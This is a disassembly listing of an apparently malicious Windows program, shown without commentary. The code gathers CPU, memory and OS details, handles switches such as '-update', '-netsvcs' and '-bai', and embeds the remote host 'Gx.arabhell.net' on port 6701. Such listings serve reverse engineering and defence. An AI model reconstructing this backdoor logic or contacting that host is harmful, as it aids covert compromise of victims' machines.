lea eax, [esp+1A4h+var_190]
lea ecx, [esp+1A4h+var_174]
push eax
push ecx
nop
call near ptr 2820000h
lea edx, [esp+1A4h+var_194]
lea eax, [esp+1A4h+var_164]
push edx
push eax
call near ptr 2960000h
nop
mov eax, esi
mov ecx, 15180h
cdq
idiv ecx
lea eax, [esp+1A4h+var_174]
mov edi, 0E10h
mov ecx, edx
lea edx, [esp+1A4h+var_164]
push edx
push eax
mov eax, ecx
cdq
idiv edi
mov eax, 88888889h
mov edi, edx
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, 91A2B3C5h
push edx
imul ecx
add edx, ecx
mov eax, 0C22E4507h
sar edx, 0Bh
mov ecx, edx
shr ecx, 1Fh
add edx, ecx
mov ecx, [esp+1B0h+var_120]
push edx
imul esi
add edx, esi
sar edx, 10h
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, [esp+1B4h+var_128]
push edx
mov edx, [esp+1B8h+var_124]
push ecx
mov ecx, [esp+1BCh+var_144]
push edx
push eax
mov eax, 804021h
push ebp
mul ecx
sub ecx, edx
mov eax, 804021h
shr ecx, 1
add ecx, edx
shr ecx, 13h
push ecx
mov ecx, [esp+1CCh+var_140]
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 13h
push ecx
call sub_4017FD
push eax
lea ecx, [esp+1D4h+var_18C]
push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
push ecx
call sub_40102D
mov esi, [esp+1DCh+arg_0]
add esp, 38h
lea edx, [esp+1A4h+var_18C]
push edx
mov ecx, esi
call sub_4014D3
mov [esp+1A4h+var_198], 1
lea ecx, [esp+1A4h+var_18C]
mov byte ptr [esp+1A4h+var_4], 0
call sub_401226
mov ecx, [esp+1A4h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 198h
retn 4
sub_4068E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406BF0 proc near ; CODE XREF: sub_4015E6j
mov eax, ecx
mov dword ptr [eax], offset off_43F008
mov dword ptr [eax+110h], 0
retn
sub_406BF0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_406C20: ; CODE XREF: ___:00401FAAj
push esi
mov esi, ecx
call sub_401447
test byte ptr [esp+8], 1
jz short loc_406C38
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_406C38: ; CODE XREF: ___:00406C2Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406C50 proc near ; CODE XREF: sub_401447j
mov dword ptr [ecx], offset off_43F008
mov ecx, [ecx+110h]
test ecx, ecx
jz short locret_406C67
push ecx
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
locret_406C67: ; CODE XREF: sub_406C50+Ej
retn
sub_406C50 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_406C80 proc near ; CODE XREF: sub_401384j
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_406C80
push eax
mov large fs:0, esp
sub esp, 448h
push ebx
mov ebx, ecx
mov eax, [ebx+110h]
test eax, eax
jz short loc_406CB1
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_406CB1: ; CODE XREF: sub_406C80+26j
push ebp
push esi
mov esi, [esp+460h+arg_0]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
call sub_437AEA
sub_406C80 endp
; ---------------------------------------------------------------------------
mov edx, eax
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
mov [ebx+110h], edx
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, [ebx+110h]
or ecx, 0FFFFFFFFh
mov byte ptr [ebx+4], 0
mov dword ptr [ebx+5], 0
mov byte ptr [ebx+9], 0
mov byte ptr [ebx+0Ah], 0
mov byte ptr [ebx+0Bh], 0
repne scasb
not ecx
push ecx
call sub_437AEA
; ---------------------------------------------------------------------------
mov edi, [ebx+110h]
mov edx, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov ebp, dword_511B00
mov eax, ecx
mov esi, edi
mov edi, edx
push offset asc_444600 ; " "
shr ecx, 2
rep movsd
mov ecx, eax
push edx
and ecx, 3
rep movsb
call ebp ; strtok
add esp, 10h
mov [esp+58h], eax
lea esi, [esp+5Ch]
mov edi, 0FFh
loc_406D62: ; CODE XREF: ___:00406D74j
push offset asc_444600 ; " "
push 0
call ebp ; strtok
mov [esi], eax
add esp, 8
add esi, 4
dec edi
jnz short loc_406D62
mov eax, [esp+58h]
xor ecx, ecx
cmp eax, ecx
jz loc_406F68
lea ebp, [esp+58h]
loc_406D88: ; CODE XREF: ___:00406F60j
mov edi, [ebp+0]
mov esi, offset dword_4447EC
mov eax, edi
loc_406D92: ; CODE XREF: ___:00406DB0j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406DB6
test cl, cl
jz short loc_406DB2
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406DB6
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406D92
loc_406DB2: ; CODE XREF: ___:00406D9Cj
xor eax, eax
jmp short loc_406DBB
; ---------------------------------------------------------------------------
loc_406DB6: ; CODE XREF: ___:00406D98j
; ___:00406DA6j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406DBB: ; CODE XREF: ___:00406DB4j
test eax, eax
jz loc_406F58
mov esi, offset aUpdate ; "-update"
mov eax, edi
loc_406DCA: ; CODE XREF: ___:00406DE8j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406DEE
test cl, cl
jz short loc_406DEA
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406DEE
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406DCA
loc_406DEA: ; CODE XREF: ___:00406DD4j
xor eax, eax
jmp short loc_406DF3
; ---------------------------------------------------------------------------
loc_406DEE: ; CODE XREF: ___:00406DD0j
; ___:00406DDEj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406DF3: ; CODE XREF: ___:00406DECj
test eax, eax
jnz short loc_406E00
mov byte ptr [ebx+9], 1
jmp loc_406F58
; ---------------------------------------------------------------------------
loc_406E00: ; CODE XREF: ___:00406DF5j
mov esi, offset aNetsvcs ; "-netsvcs"
mov eax, edi
loc_406E07: ; CODE XREF: ___:00406E25j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406E2B
test cl, cl
jz short loc_406E27
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406E2B
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406E07
loc_406E27: ; CODE XREF: ___:00406E11j
xor eax, eax
jmp short loc_406E30
; ---------------------------------------------------------------------------
loc_406E2B: ; CODE XREF: ___:00406E0Dj
; ___:00406E1Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406E30: ; CODE XREF: ___:00406E29j
test eax, eax
jnz short loc_406E3D
mov byte ptr [ebx+0Ah], 1
jmp loc_406F58
; ---------------------------------------------------------------------------
loc_406E3D: ; CODE XREF: ___:00406E32j
mov esi, offset aBai ; "-bai"
mov eax, edi
loc_406E44: ; CODE XREF: ___:00406E62j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406E68
test cl, cl
jz short loc_406E64
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406E68
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406E44
loc_406E64: ; CODE XREF: ___:00406E4Ej
xor eax, eax
jmp short loc_406E6D
; ---------------------------------------------------------------------------
loc_406E68: ; CODE XREF: ___:00406E4Aj
; ___:00406E58j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406E6D: ; CODE XREF: ___:00406E66j
test eax, eax
jnz loc_406F58
lea ecx, [esp+10h]
call sub_40142E
mov eax, [esp+468h]
push offset aBai ; "-bai"
push eax
mov dword ptr [esp+468h], 0
nop
call near ptr 77C47C60h
add esp, 8
test eax, eax
jz loc_406F44
push eax
lea ecx, [esp+14h]
call sub_4015E1
push 1
push offset asc_444600 ; " "
lea ecx, [esp+30h]
push 1
push ecx
lea ecx, [esp+20h]
call sub_4011EA
push offset byte_448F30
mov ecx, eax
mov byte ptr [esp+464h], 1
call sub_4012EE
lea ecx, [esp+28h]
mov esi, eax
mov byte ptr [esp+460h], 0
call sub_401226
test esi, esi
jz short loc_406F44
push 1
push offset asc_444600 ; " "
lea edx, [esp+48h]
push 1
push edx
lea ecx, [esp+20h]
mov byte ptr [ebx+0Bh], 1
call sub_4011EA
push 104h
mov ecx, eax
mov byte ptr [esp+464h], 2
call sub_40168B
push eax
lea eax, [ebx+0Ch]
push eax
call near ptr 77C47A90h
nop
add esp, 0Ch
lea ecx, [esp+40h]
mov byte ptr [esp+460h], 0
call sub_401226
add ebp, 4
loc_406F44: ; CODE XREF: ___:00406EA1j
; ___:00406EF1j
lea ecx, [esp+10h]
mov dword ptr [esp+460h], 0FFFFFFFFh
call sub_401226
loc_406F58: ; CODE XREF: ___:00406DBDj
; ___:00406DFBj ...
mov eax, [ebp+4]
add ebp, 4
test eax, eax
jnz loc_406D88
xor ecx, ecx
loc_406F68: ; CODE XREF: ___:00406D7Ej
mov al, [ebx+4]
pop edi
pop esi
pop ebp
test al, al
jnz short loc_406F75
mov [ebx+5], ecx
loc_406F75: ; CODE XREF: ___:00406F70j
cmp [ebx+5], ecx
jnz short loc_406F85
test al, al
jz short loc_406F85
mov dword ptr [ebx+5], 0Ah
loc_406F85: ; CODE XREF: ___:00406F78j
; ___:00406F7Cj
mov [ebx+5], ecx
mov ecx, [esp+44Ch]
mov byte ptr [ebx+4], 0
pop ebx
mov large fs:0, ecx
add esp, 454h
retn 4
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
byte_406FB0 db 0D0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407080 proc near ; CODE XREF: sub_4020BDj
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_407080
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea eax, [esp+18h+var_11]
lea ecx, [esi+32h]
push eax
mov [esp+1Ch+var_4], 0
call sub_40156E
sub_407080 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov dword ptr [esi], offset off_43F00C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407100 proc near ; CODE XREF: sub_40159Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
call sub_4015E1
mov edx, [esp+4+arg_0]
mov ecx, [esp+4+arg_8]
lea eax, [esp+4+arg_0]
mov [edx+2Ah], ecx
push eax
lea ecx, [esi+32h]
call sub_4014EC
sub_407100 endp
; ---------------------------------------------------------------------------
pop esi
retn 0Ch
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407140 proc near ; CODE XREF: sub_401B04j
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esp+10h+var_8]
call sub_401AD7
add esi, 32h
lea eax, [esp+10h+var_4]
push eax
mov ecx, esi
call sub_40162C
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_4021DF
push eax
lea ecx, [esp+14h+var_8]
call sub_40184D
test al, al
jz short loc_4071BB
mov edi, [esp+10h+arg_0]
loc_407183: ; CODE XREF: sub_407140+79j
push edi
lea ecx, [esp+14h+var_8]
call sub_401749
mov ecx, [eax]
call sub_4012EE
test eax, eax
lea ecx, [esp+10h+var_8]
jz short loc_4071C5
call sub_401F28
lea eax, [esp+10h+var_4]
mov ecx, esi
push eax
call sub_4021DF
push eax
lea ecx, [esp+14h+var_8]
call sub_40184D
test al, al
jnz short loc_407183
loc_4071BB: ; CODE XREF: sub_407140+3Dj
pop edi
xor eax, eax
pop esi
add esp, 8
retn 8
; ---------------------------------------------------------------------------
loc_4071C5: ; CODE XREF: sub_407140+5Aj
call sub_401749
mov eax, [eax]
pop edi
pop esi
add esp, 8
retn 8
sub_407140 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407210 proc near ; CODE XREF: sub_40221Bj
xor al, al
retn 4
sub_407210 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407230 proc near ; CODE XREF: sub_40156Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_40119F
sub_407230 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407270 proc near ; CODE XREF: sub_40162Cj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_401A96
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_4021A8
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_407270 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4072B0 proc near ; CODE XREF: sub_4021DFj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_4021A8
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_4072B0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4072E0 proc near ; CODE XREF: sub_4014ECj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_4021DF
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4013B6
sub_4072E0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407320 proc near ; CODE XREF: sub_401AD7j
push esi
mov esi, ecx
call sub_401B77
mov eax, esi
pop esi
retn
sub_407320 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407340 proc near ; CODE XREF: sub_401749j
mov eax, [ecx]
push eax
call sub_401208
add esp, 4
retn
sub_407340 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407360 proc near ; CODE XREF: sub_401F28j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401A96
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_407360 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407390 proc near ; CODE XREF: sub_40184Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401FBE
neg al
sbb eax, eax
inc eax
retn 4
sub_407390 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4073C0 proc near ; CODE XREF: sub_4013B6j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401C9E
mov edi, eax
push edi
call sub_401C6C
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_40119F
sub_4073C0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401C6C
push edi
mov [eax], ebx
call sub_401C6C
mov edi, [eax]
push edi
call sub_401C6C
mov ecx, [eax]
push ecx
call sub_401A96
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401208
add esp, 4
mov ecx, esi
push eax
call sub_40167C
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_4021A8
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407460 proc near ; CODE XREF: sub_40119Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4019D8
sub_407460 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_407475
mov edi, esi
loc_407475: ; CODE XREF: ___:00407471j
push esi
call sub_401A96
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_40748A
mov edi, esi
loc_40748A: ; CODE XREF: ___:00407486j
push esi
call sub_401C6C
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074B0 proc near ; CODE XREF: sub_401A96j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_4074B0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074D0 proc near ; CODE XREF: sub_401208j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_4074D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074F0 proc near ; CODE XREF: sub_401B77j
mov eax, ecx
retn
sub_4074F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407510 proc near ; CODE XREF: sub_4021A8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4011E5
mov eax, esi
pop esi
retn 4
sub_407510 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407540 proc near ; CODE XREF: sub_401FBEj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_407540 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407570 proc near ; CODE XREF: sub_401C6Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_407570 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407590 proc near ; CODE XREF: sub_4019D8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_407590 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4075C0 proc near ; CODE XREF: sub_40167Cj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40109B
add esp, 8
retn 8
sub_4075C0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4075F0 proc near ; CODE XREF: sub_4011E5j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4075F0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407610 proc near ; CODE XREF: sub_401C9Ej
mov eax, [ecx]
retn
sub_407610 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407630 proc near ; CODE XREF: sub_401D2Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40763A
xor eax, eax
loc_40763A: ; CODE XREF: sub_407630+6j
push eax
call sub_437AEA
sub_407630 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407660 proc near ; CODE XREF: sub_40109Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40767B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40767B: ; CODE XREF: sub_407660+11j
retn
sub_407660 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407690 proc near ; CODE XREF: sub_4011CCj
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
retn
sub_407690 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4076B0 proc near ; CODE XREF: sub_401B40j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_4076B0
push eax
mov large fs:0, esp
push 0
push 0
push 0
push 0
lea ecx, [esp+1Ch+arg_4]
mov [esp+1Ch+var_4], 0
call sub_4017EE
push eax
mov eax, [esp+20h+arg_0]
push 0
push eax
mov ecx, offset word_44ACD6
call sub_401B72
sub_4076B0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov dword ptr [esp+8], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0]
mov large fs:0, ecx
add esp, 0Ch
retn 1Ch
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407740 proc near ; CODE XREF: sub_401CD5j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_1C = byte ptr 20h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_407740
push eax
mov large fs:0, esp
push 0
push 0
push 0
push 0
lea ecx, [esp+1Ch+arg_1C]
mov [esp+1Ch+var_4], 1
call sub_4017EE
push eax
lea ecx, [esp+20h+arg_4]
call sub_4017EE
push eax
mov eax, [esp+24h+arg_0]
push eax
mov ecx, offset word_44ACD6
call sub_401B72
sub_407740 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov byte ptr [esp+8], 0
call sub_401226
lea ecx, [esp+2Ch]
mov dword ptr [esp+8], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0]
mov large fs:0, ecx
add esp, 0Ch
retn 34h
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4077E0 proc near ; CODE XREF: sub_40121Cj
var_350 = dword ptr -350h
var_34C = dword ptr -34Ch
var_348 = byte ptr -348h
var_330 = byte ptr -330h
var_318 = byte ptr -318h
var_2F4 = byte ptr -2F4h
var_2DC = byte ptr -2DCh
var_2C4 = byte ptr -2C4h
var_2AC = byte ptr -2ACh
var_294 = byte ptr -294h
var_27C = byte ptr -27Ch
var_264 = byte ptr -264h
var_24C = byte ptr -24Ch
var_234 = byte ptr -234h
var_21C = byte ptr -21Ch
var_204 = byte ptr -204h
var_1EC = byte ptr -1ECh
var_1D4 = byte ptr -1D4h
var_1BC = byte ptr -1BCh
var_1A4 = byte ptr -1A4h
var_18C = byte ptr -18Ch
var_174 = byte ptr -174h
var_15C = byte ptr -15Ch
var_144 = byte ptr -144h
var_114 = byte ptr -114h
var_E4 = byte ptr -0E4h
var_CC = byte ptr -0CCh
var_B4 = byte ptr -0B4h
var_9C = byte ptr -9Ch
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4077E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 344h
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+35Ch+var_2C4]
call sub_40142E
lea ecx, [esp+35Ch+var_2DC]
mov [esp+35Ch+var_4], 0
call sub_40142E
lea ecx, [esp+35Ch+var_174]
mov byte ptr [esp+35Ch+var_4], 1
call sub_40142E
lea ecx, [esp+35Ch+var_1A4]
mov byte ptr [esp+35Ch+var_4], 2
call sub_40142E
lea ecx, [esp+35Ch+var_2AC]
mov byte ptr [esp+35Ch+var_4], 3
call sub_40142E
lea ecx, [esp+35Ch+var_2F4]
mov byte ptr [esp+35Ch+var_4], 4
call sub_40142E
lea ecx, [esp+35Ch+var_1D4]
mov byte ptr [esp+35Ch+var_4], 5
call sub_40142E
lea ecx, [esp+35Ch+var_204]
mov byte ptr [esp+35Ch+var_4], 6
call sub_40142E
lea ecx, [esp+35Ch+var_294]
mov byte ptr [esp+35Ch+var_4], 7
call sub_40142E
lea ecx, [esp+35Ch+var_24]
mov byte ptr [esp+35Ch+var_4], 8
call sub_40142E
lea ecx, [esp+35Ch+var_54]
mov byte ptr [esp+35Ch+var_4], 9
call sub_40142E
lea ecx, [esp+35Ch+var_84]
mov byte ptr [esp+35Ch+var_4], 0Ah
call sub_40142E
lea ecx, [esp+35Ch+var_3C]
mov byte ptr [esp+35Ch+var_4], 0Bh
call sub_40142E
lea ecx, [esp+35Ch+var_6C]
mov byte ptr [esp+35Ch+var_4], 0Ch
call sub_40142E
lea ecx, [esp+35Ch+var_234]
mov byte ptr [esp+35Ch+var_4], 0Dh
call sub_40142E
lea ecx, [esp+35Ch+var_264]
mov byte ptr [esp+35Ch+var_4], 0Eh
call sub_40142E
lea ecx, [esp+35Ch+var_E4]
mov byte ptr [esp+35Ch+var_4], 0Fh
call sub_40142E
lea ecx, [esp+35Ch+var_15C]
mov byte ptr [esp+35Ch+var_4], 10h
call sub_40142E
lea ecx, [esp+35Ch+var_114]
mov byte ptr [esp+35Ch+var_4], 11h
call sub_40142E
mov byte ptr [esp+35Ch+var_4], 12h
lea ecx, [esp+35Ch+var_18C]
call sub_40142E
lea ecx, [esp+35Ch+var_144]
mov byte ptr [esp+35Ch+var_4], 13h
call sub_40142E
lea ecx, [esp+35Ch+var_1BC]
mov byte ptr [esp+35Ch+var_4], 14h
call sub_40142E
lea ecx, [esp+35Ch+var_27C]
mov byte ptr [esp+35Ch+var_4], 15h
call sub_40142E
lea ecx, [esp+35Ch+var_1EC]
mov byte ptr [esp+35Ch+var_4], 16h
call sub_40142E
lea ecx, [esp+35Ch+var_CC]
mov byte ptr [esp+35Ch+var_4], 17h
call sub_40142E
lea ecx, [esp+35Ch+var_21C]
mov byte ptr [esp+35Ch+var_4], 18h
call sub_40142E
lea ecx, [esp+35Ch+var_B4]
mov byte ptr [esp+35Ch+var_4], 19h
call sub_40142E
lea ecx, [esp+35Ch+var_9C]
mov byte ptr [esp+35Ch+var_4], 1Ah
call sub_40142E
lea ecx, [esp+35Ch+var_24C]
mov byte ptr [esp+35Ch+var_4], 1Bh
call sub_40142E
lea ecx, [esp+35Ch+var_330]
mov byte ptr [esp+35Ch+var_4], 1Ch
call sub_40142E
lea ecx, [esp+35Ch+var_318]
mov byte ptr [esp+35Ch+var_4], 1Dh
call sub_40142E
mov ebx, 1Eh
push offset aGx_arabhell_ne ; "Gx.arabhell.net"
lea ecx, [esp+360h+var_2C4]
mov byte ptr [esp+360h+var_4], bl
call sub_401A9B
push offset a6701 ; "6701"
lea ecx, [esp+360h+var_2DC]
call sub_401A9B
push offset byte_448F30
lea ecx, [esp+360h+var_144]
call sub_401A9B
